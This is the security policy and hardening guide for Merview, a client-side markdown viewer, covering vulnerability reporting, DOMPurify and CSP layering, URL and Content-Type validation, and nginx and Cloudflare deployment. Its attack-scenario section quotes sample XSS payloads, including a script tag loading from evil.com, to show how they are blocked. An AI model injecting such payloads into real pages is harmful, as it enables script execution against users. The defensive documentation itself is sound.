We take security seriously in the Merview project. If you discover a security vulnerability, please report it responsibly.
Please use GitHub's Security Advisories feature for private vulnerability reporting:
- Visit: https://github.com/mickdarling/merview/security/advisories
- Click "Report a vulnerability"
- Fill out the advisory form with details (see below)
Do NOT:
- Open a public GitHub issue for security vulnerabilities
- Disclose the vulnerability publicly before we've had a chance to address it
- Use the vulnerability maliciously or share it with others
To help us understand and address the issue quickly, please include:
- Description: Clear explanation of the vulnerability
- Steps to Reproduce: Detailed steps to reproduce the issue
- Impact: What an attacker could achieve by exploiting this
- Affected Versions: Which versions of Merview are affected
- Proof of Concept: Code, screenshots, or demonstrations (if applicable)
- Suggested Fix: If you have ideas on how to fix it (optional)
- Your Environment: Browser version, OS, etc. (if relevant)
Security vulnerabilities include:
- Cross-Site Scripting (XSS) bypasses that evade DOMPurify sanitization
- Content Security Policy (CSP) bypasses that enable malicious code execution
- Dependency vulnerabilities in critical libraries (Mermaid.js, CodeMirror, etc.)
- Authentication/authorization issues (if auth features are added)
- Subresource Integrity (SRI) bypass vulnerabilities
- Malicious markdown/Mermaid syntax that could execute unintended code
- URL injection vulnerabilities in custom CSS loading
- Issues that could compromise user data in localStorage
Regular bugs (please use normal GitHub issues):
- UI/UX issues that don't have security implications
- Performance problems
- Feature requests
- Rendering bugs in markdown or Mermaid diagrams
- Browser compatibility issues (unless security-related)
Merview is maintained in spare time, but we prioritize security issues:
- Initial Response: Within 7 days of report
- Severity Assessment: Within 14 days
- Fix Timeline:
- Critical vulnerabilities: 30 days
- High severity: 60 days
- Medium/Low severity: 90 days or next release
These are goals, not guarantees. Complex issues may take longer. We'll keep you updated on progress.
- We follow coordinated disclosure practices
- We'll work with you to understand and fix the issue
- Once a fix is released, we'll publish a security advisory
- We ask that you wait for our fix before public disclosure
- If you have a deadline for disclosure, please let us know in your report
We believe in recognizing security researchers who help make Merview safer:
- Credit: We'll credit you in the security advisory (if you wish)
- Hall of Fame: We maintain a list of security contributors in SECURITY.md
- What we can't offer: As an open-source spare-time project, we cannot offer bug bounties or financial rewards
Security researchers who have responsibly disclosed vulnerabilities:
- None yet - be the first!
This application is relatively safe to expose via Cloudflare Tunnel because:
-
100% Client-Side Processing
- All markdown rendering happens in the browser
- No server-side code execution
- No database or backend
- No file uploads to server
-
No Data Storage
- Uses browser localStorage only
- Nothing stored on the server
- Completely stateless
-
No User Input Processing on Server
- No forms submitted to server
- No API endpoints
- Just static file serving
All user-provided markdown content is sanitized before rendering using DOMPurify, the industry-standard HTML sanitizer.
What's Protected:
<script>tags are completely removed- Event handlers (
onclick,onerror,onload, etc.) are stripped javascript:URLs are neutralized- Dangerous elements (
<iframe>,<object>,<embed>,<base>,<meta>,<link>) are removed - SVG-based XSS vectors are blocked
What's Preserved:
- All standard markdown elements (headings, paragraphs, lists, etc.)
- Safe links (
http://,https://,mailto:) - Images with safe
srcattributes - Class and ID attributes (needed for syntax highlighting and anchor links)
- Tables and blockquotes
- Code blocks with syntax highlighting
Implementation:
// In renderer.js
const html = marked.parse(markdown);
wrapper.innerHTML = DOMPurify.sanitize(html);This protection applies to:
- Content typed in the editor
- Content loaded via
?url=parameter from GitHub/Gist - Any markdown file opened via the Open button
Merview implements a defense-in-depth approach to URL validation, combining multiple security layers to protect users from malicious content while allowing legitimate markdown files from any HTTPS source.
As of issue #201, Merview no longer uses a domain allowlist for markdown URLs. Any HTTPS URL can be loaded because:
- All content is sanitized by DOMPurify (removes scripts, dangerous elements, and XSS vectors)
- Multiple validation layers catch malicious URLs before fetch
- Content-Type validation prevents executable content
This makes Merview more useful (can load from any markdown source) while maintaining security through content sanitization rather than source restriction.
Markdown URLs (?url= parameter) undergo these validations (in js/security.js):
-
HTTPS Protocol Required
- All URLs must use HTTPS (encrypted transport)
- Exception:
localhostURLs allowed when running in local development - Prevents DNS rebinding attacks (localhost-to-localhost only)
-
URL Length Limit (2048 bytes)
- Prevents DoS attacks using extremely long URLs
- Follows de facto browser/server standards (IE: 2083 chars, most browsers: 32KB+)
- Checked before URL parsing for efficiency
-
Credentials Blocked
- URLs with embedded credentials (
user:pass@host) are rejected - Security risk: credentials can leak in logs, browser history, referrer headers
- Enforced via
URL.usernameandURL.passwordchecks
- URLs with embedded credentials (
-
IDN Homograph Protection
- Hostnames must be ASCII-only (no Unicode/punycode)
- Prevents homograph attacks like
rаw.githubusercontent.com(Cyrillic 'а' U+0430) - Checked before URL parsing (browser auto-converts to punycode)
- Example blocked:
https://rаw.githubusercontent.com/...(looks like raw.githubusercontent.com)
-
Fetch Timeout (10 seconds)
- Prevents hanging on slow/malicious endpoints
- Implemented in
js/file-ops.jsusingAbortController
-
Content Size Limit (10 MB)
- Prevents loading extremely large files
- Checked during fetch with streaming validation
- Protects against memory exhaustion attacks
-
Content-Type Validation
- Allowed types:
text/*(text/plain, text/markdown, text/x-markdown)application/octet-stream(GitHub's default for raw files)- No Content-Type header (some servers don't send it)
- Blocked types:
application/javascript,text/javascript(executable code)text/html(could contain scripts)- Binary types (application/zip, image/*, etc.)
- Defense-in-depth check (content still sanitized by DOMPurify)
- Allowed types:
CSS URLs (custom theme loading) use a stricter allowlist (in js/config.js):
export const ALLOWED_CSS_DOMAINS = [
'cdn.jsdelivr.net',
'cdnjs.cloudflare.com',
'raw.githubusercontent.com',
'gist.githubusercontent.com',
'unpkg.com'
];CSS uses an allowlist because:
- CSS can't be sanitized by DOMPurify (not HTML content)
- CSS injection can leak data via
url()(CSS injection attacks) - Custom properties can exfiltrate data to attacker-controlled servers
- Allowlist ensures CSS comes from trusted CDN/GitHub sources only
When users paste raw URLs from private GitHub repositories, those URLs contain temporary access tokens (?token=...). If users share Merview links containing these tokens, they accidentally expose private repository access.
Protection Measures:
-
Token Detection
- Merview detects
raw.githubusercontent.comURLs with?token=parameters - Detection happens immediately when URL is loaded
- Merview detects
-
Automatic Token Stripping
- A security modal immediately appears
- The token is immediately stripped from the browser URL bar (before user can copy it)
- Uses
history.replaceState()to replace URL without page reload
-
User Education Modal
- Modal presents two options:
- "View Locally Only": Content loads without shareable URL
- "Share Securely via Gist": Creates a public/secret Gist (safe copy)
- Modal cannot be dismissed without choosing (blocking dialog)
- Modal presents two options:
-
Token Never in Shareable URLs
- The
?token=parameter is stripped before any URL is shareable - Prevents accidental token exposure in browser history, copy/paste, or shared links
- The
What This Protects:
- Accidental URL sharing with embedded tokens
- Token exposure in browser history
- Copy/paste of tokenized URLs (modal educates users)
Expected Limitations:
- Token is still used in the fetch request (required for access, encrypted via HTTPS)
- Users can manually copy the token before modal appears (edge case, requires deliberate action)
- Only protects
raw.githubusercontent.comURLs (where GitHub puts tokens)
Implementation in js/security.js:
export function stripGitHubToken(url) {
try {
const parsed = new URL(url);
if (parsed.hostname === 'raw.githubusercontent.com' && parsed.searchParams.has('token')) {
parsed.searchParams.delete('token');
return { cleanUrl: parsed.toString(), hadToken: true };
}
return { cleanUrl: url, hadToken: false };
} catch {
return { cleanUrl: url, hadToken: false };
}
}All CDN resources are verified using SRI hashes to ensure integrity:
Libraries Protected:
- Marked.js (markdown parser)
- Mermaid.js (diagram rendering)
- DOMPurify (HTML sanitization)
- CodeMirror (editor)
- Highlight.js (syntax highlighting)
- All syntax highlighting theme CSS files
Example SRI Implementation:
<script src="https://cdn.jsdelivr.net/npm/marked@11.1.1/marked.min.js"
integrity="sha384-zbcZAIxlvJtNE3Dp5nxLXdXtXyxwOdnILY1TDPVmKFhl4r4nSUG1r8bcFXGVa4Te"
crossorigin="anonymous"></script>What SRI Prevents:
- CDN compromise (attacker replaces CDN files)
- Man-in-the-middle attacks (modified files in transit)
- Accidental file corruption
- Supply chain attacks via CDN
How It Works:
- Browser calculates SHA-384 hash of downloaded file
- If hash doesn't match the
integrityattribute, browser blocks the file - Application fails safely (no execution of tampered code)
Syntax Theme SRI Hashes (in js/config.js):
export const syntaxThemeSRI = {
"github-dark": "sha384-wH75j6z1lH97ZOpMOInqhgKzFkAInZPPSPlZpYKYTOqsaizPvhQZmAtLcPKXpLyH",
"github": "sha384-eFTL69TLRZTkNfYZOLM+G04821K1qZao/4QLJbet1pP4tcF+fdXq/9CdqAbWRl/L",
// ... additional themes with hashes
};1. Content Security Policy (CSP) - unsafe-inline Required
The CSP includes 'unsafe-inline' for both script-src and style-src. This is a known limitation, not a vulnerability:
-
Why it's required:
- CodeMirror dynamically generates inline styles for editor rendering
- Mermaid.js generates inline SVG styles for diagram elements
- Neither library supports nonce-based CSP
-
Mitigations in place:
- All CDN resources use Subresource Integrity (SRI) hashes
frame-src: 'none'blocks iframe injectionobject-src: 'none'blocks plugin-based attacks- Script sources restricted to specific CDN domains
-
Future improvements:
- CodeMirror 6 may offer better CSP support
- Could investigate
unsafe-hasheswith specific hash values
Merview uses a defense-in-depth security strategy with two complementary layers of XSS protection. Each layer catches different types of attacks, and together they provide robust protection even if one layer fails.
Layer 1: DOMPurify (Application-Level Defense)
DOMPurify is the first line of defense, operating at the application level:
- When it activates: Every time markdown is rendered to HTML (before DOM insertion)
- What it does: Sanitizes HTML by removing dangerous elements, attributes, and JavaScript
- Strength: Extremely thorough HTML sanitization with active maintenance against new XSS vectors
- Limitation: Runs in JavaScript, so theoretically vulnerable if an attacker could compromise the sanitizer itself
Layer 2: Content Security Policy (Browser-Level Defense)
CSP is the second line of defense, enforced by the browser itself:
- When it activates: Browser enforces restrictions on all page resources and scripts
- What it does: Blocks unauthorized script execution, restricts resource loading to trusted domains
- Strength: Browser-native enforcement that can't be bypassed by JavaScript, blocks inline scripts/eval by default
- Limitation: Requires
'unsafe-inline'for CodeMirror and Mermaid.js, which weakens protection against inline script injection
How They Complement Each Other:
-
If DOMPurify is bypassed: CSP still blocks:
- External script loading from unauthorized domains (only CDNs in
script-srcare allowed) - Iframe injection (
frame-src: 'none') - Object/embed attacks (
object-src: 'none') - Base tag hijacking (
base-uri: 'self')
- External script loading from unauthorized domains (only CDNs in
-
If CSP's
unsafe-inlineis exploited: DOMPurify still blocks:- Script tags in user content
- Event handlers (onclick, onerror, etc.)
- JavaScript: URLs in links
- Dangerous elements before they reach the DOM
-
Combined protection against:
- SVG-based XSS: DOMPurify removes dangerous SVG scripts; CSP blocks unauthorized script execution
- CDN compromise: Subresource Integrity (SRI) hashes verify CDN resources; CSP limits which CDNs are trusted
- Markdown injection: DOMPurify sanitizes markdown-generated HTML; CSP restricts what that HTML can do
- CSS injection attacks: DOMPurify filters dangerous style attributes; CSP limits style sources
Why CSP Still Requires unsafe-inline:
Despite unsafe-inline weakening CSP's protection, it's required for legitimate application functionality:
- CodeMirror: Dynamically generates inline styles for syntax highlighting, cursor positioning, and editor rendering. These styles are critical for the editor to function and cannot use nonce-based CSP.
- Mermaid.js: Generates inline styles within SVG diagram elements for colors, positioning, and formatting. The Mermaid rendering engine doesn't support CSP nonces.
Neither library offers nonce-based or hash-based CSP support, making unsafe-inline unavoidable for this application's core functionality.
Security Trade-off Analysis:
- Risk:
unsafe-inlineallows any inline scripts/styles if they reach the DOM - Mitigation: DOMPurify prevents malicious inline scripts from ever reaching the DOM
- Result: The risk is acceptable because the first layer (DOMPurify) specifically targets this attack vector
- Future: If CodeMirror 6 or Mermaid.js add CSP nonce support, we can remove
unsafe-inlineand strengthen CSP
Real-World Attack Scenario:
Imagine an attacker tries to inject <img src=x onerror="alert('XSS')">:
- DOMPurify layer: Strips the
onerrorhandler →<img src=x> - CSP layer: Even if the handler survived, CSP blocks inline event handlers (best effort despite
unsafe-inlinefor scripts) - Result: Attack fails at multiple points
Or if an attacker tries to inject <script src="https://evil.com/malicious.js"></script>:
- DOMPurify layer: Removes the entire
<script>tag - CSP layer: Even if it survived, CSP blocks
evil.com(not inscript-srcallowlist) - Result: Two independent failures for the attacker
This layered approach means an attacker must find vulnerabilities in BOTH DOMPurify's sanitization logic AND CSP's browser enforcement to successfully execute an XSS attack—a significantly higher bar than defeating a single security control.
2. No Authentication (Current)
- Anyone with the URL can access it
- Suitable for public tools, not for private documents
3. Public Access
- Once exposed, anyone on the internet can use it
- They can render their own markdown
- They CANNOT access your documents (everything is client-side)
4. Bandwidth Usage
- People could use it heavily
- Cloudflare provides DDoS protection
- Rate limiting recommended
5. Private Repository Token Protection
See the comprehensive "GitHub Token Handling (Private Repository Protection)" section above for full details on how Merview protects users from accidentally exposing private repository access tokens.
6. Content-Type Validation (Defense-in-Depth)
When loading remote markdown via the ?url= parameter, Merview validates the HTTP Content-Type header to provide an additional security layer beyond DOMPurify sanitization.
-
What it does:
- Inspects the Content-Type header from the remote server
- Blocks content types that are inherently executable or binary
- Allows only text-based content types suitable for markdown
- Works as defense-in-depth alongside DOMPurify sanitization
-
What it blocks:
- JavaScript types:
application/javascript,text/javascript,application/x-javascript - HTML content:
text/html(could contain inline scripts before sanitization) - VBScript:
text/vbscript(legacy Windows IE scripting) - Binary content: Any MIME type not explicitly allowed (e.g.,
image/*,application/zip)
- JavaScript types:
-
What it allows:
- All text types:
text/*(includingtext/plain,text/markdown,text/x-markdown) - Generic binary:
application/octet-stream(GitHub's default for raw files) - Missing headers: Servers that don't send Content-Type headers (graceful handling)
- All text types:
-
Defense-in-depth context:
- This is NOT the primary security control (DOMPurify sanitization is)
- Provides an early rejection layer before content reaches the sanitizer
- Complements other security layers:
- HTTPS enforcement (prevents MITM attacks)
- URL validation (blocks credentials, IDN homographs, excessive length)
- Fetch limits (10-second timeout, 10 MB size limit)
- Content-Type validation (blocks executable/binary types)
- DOMPurify sanitization (removes dangerous HTML/scripts from content)
-
Limitations:
- Relies on server sending truthful Content-Type headers
- A malicious server could send executable JavaScript with
Content-Type: text/plain - This is why DOMPurify sanitization is still essential (defense-in-depth)
- Does not protect against social engineering (users loading malicious content intentionally)
Implementation:
// In file-ops.js
export function isValidMarkdownContentType(contentType) {
if (!contentType) return true; // No header is acceptable
const mimeType = contentType.split(';')[0].trim().toLowerCase();
// Block dangerous types
const blockedTypes = [
'application/javascript',
'text/javascript',
'text/html',
'application/x-javascript',
'text/vbscript'
];
if (blockedTypes.includes(mimeType)) return false;
// Allow text/* and application/octet-stream
return mimeType.startsWith('text/') ||
mimeType === 'application/octet-stream';
}Good for: Personal use, internal tools, trusted users
Security:
- ✅ Basic security headers
- ✅ Hidden file protection
- ❌ No authentication
- ❌ No rate limiting
- ❌ No CSP
Use: docs/deployment/nginx.conf (current default)
Good for: Public exposure via Cloudflare Tunnel
Security:
- ✅ Enhanced security headers
- ✅ Content Security Policy (CSP)
- ✅ Rate limiting (10 req/sec)
- ✅ Hidden file protection
- ✅ Version hiding
- ❌ No authentication
Use: docs/deployment/nginx-secure.conf
Good for: Private use, sensitive content
Security:
- ✅ All Level 2 features
- ✅ Basic HTTP authentication (username/password)
- ✅ Locked down access
Use: docs/deployment/nginx-with-auth.conf
# Edit Dockerfile, change line:
COPY --chmod=644 docs/deployment/nginx.conf /etc/nginx/conf.d/default.conf
# To:
COPY --chmod=644 docs/deployment/nginx-secure.conf /etc/nginx/conf.d/default.confThen rebuild:
docker-compose down
docker-compose build --no-cache
docker-compose up -dStep 1: Create password file
# Install htpasswd (if needed)
# Mac: brew install httpd
# Linux: sudo apt-get install apache2-utils
# Create password file
htpasswd -c .htpasswd yourusername
# Enter password when promptedStep 2: Update Dockerfile
# Add after the COPY commands:
COPY --chmod=644 docs/deployment/nginx-with-auth.conf /etc/nginx/conf.d/default.conf
COPY --chmod=644 .htpasswd /etc/nginx/.htpasswdStep 3: Update .dockerignore
Remove .htpasswd from .dockerignore (if present)
Step 4: Rebuild
docker-compose down
docker-compose build --no-cache
docker-compose up -dNow users will need to enter username/password to access.
Instead of basic auth, use Cloudflare Access for better security:
- Add authentication via Google/GitHub/Email
- Set access policies (who can access)
- Audit logs
- No password to remember
Setup: In Cloudflare Zero Trust dashboard → Access → Applications
Add Web Application Firewall rules:
- Rate limiting (already have nginx rate limiting, but extra layer)
- Bot protection
- Geographic restrictions
- Custom rules
Set proper caching:
- Cache static assets (JS, CSS)
- Don't cache HTML (dynamic content)
-
Your Documents
- Nothing is stored on server
- All content in user's browser only
- Each user sees only what they type
-
User Data
- No user accounts
- No personal information collected
- No cookies or tracking
-
Server Data
- No database to hack
- No backend to exploit
- Just static HTML/JS/CSS
-
Bandwidth Abuse
- Users could hammer the server
- Mitigation: Rate limiting, Cloudflare DDoS protection
-
Resource Usage
- Heavy Mermaid diagram rendering
- Mitigation: Cloudflare's CDN, rate limiting
-
Someone Uses It
- Others can render their markdown
- Impact: Minimal - just bandwidth
- Mitigation: Add authentication if unwanted
| Feature | Basic | Enhanced | With Auth |
|---|---|---|---|
| Security Headers | Basic | Full | Full |
| CSP | ❌ | ✅ | ✅ |
| Rate Limiting | ❌ | ✅ | ✅ |
| Password | ❌ | ❌ | ✅ |
| Public Access | Yes | Yes | No |
| Best For | Local | Public Tool | Private |
For Public Sharing (anyone can use):
- Use
docs/deployment/nginx-secure.conf(Enhanced security) - Enable Cloudflare WAF
- Monitor usage in Cloudflare Analytics
- Set up rate limiting in Cloudflare
For Private Use (only you/team):
- Use
docs/deployment/nginx-with-auth.confOR Cloudflare Access - Cloudflare Access is better (SSO, audit logs)
- Still enable WAF and monitoring
Before exposing via Cloudflare:
- Decide: Public tool or private?
- Choose security level (Basic/Enhanced/Auth)
- Update nginx config if needed
- Rebuild Docker container
- Test locally first
- Set up Cloudflare Tunnel
- Enable Cloudflare WAF (recommended)
- Consider Cloudflare Access for private use
- Monitor traffic in first week
- Check Cloudflare Analytics for abuse
- No backend processing
- No data storage
- No user information collected
- Completely client-side
- Stateless application
- Add rate limiting (use Enhanced config)
- Consider authentication for private use
- Monitor bandwidth usage
- Use Cloudflare's security features
Recommendation: Use Enhanced security (docs/deployment/nginx-secure.conf) for public exposure, or add Cloudflare Access for private use.
The application itself is secure - the main consideration is controlling WHO can access it and preventing bandwidth abuse.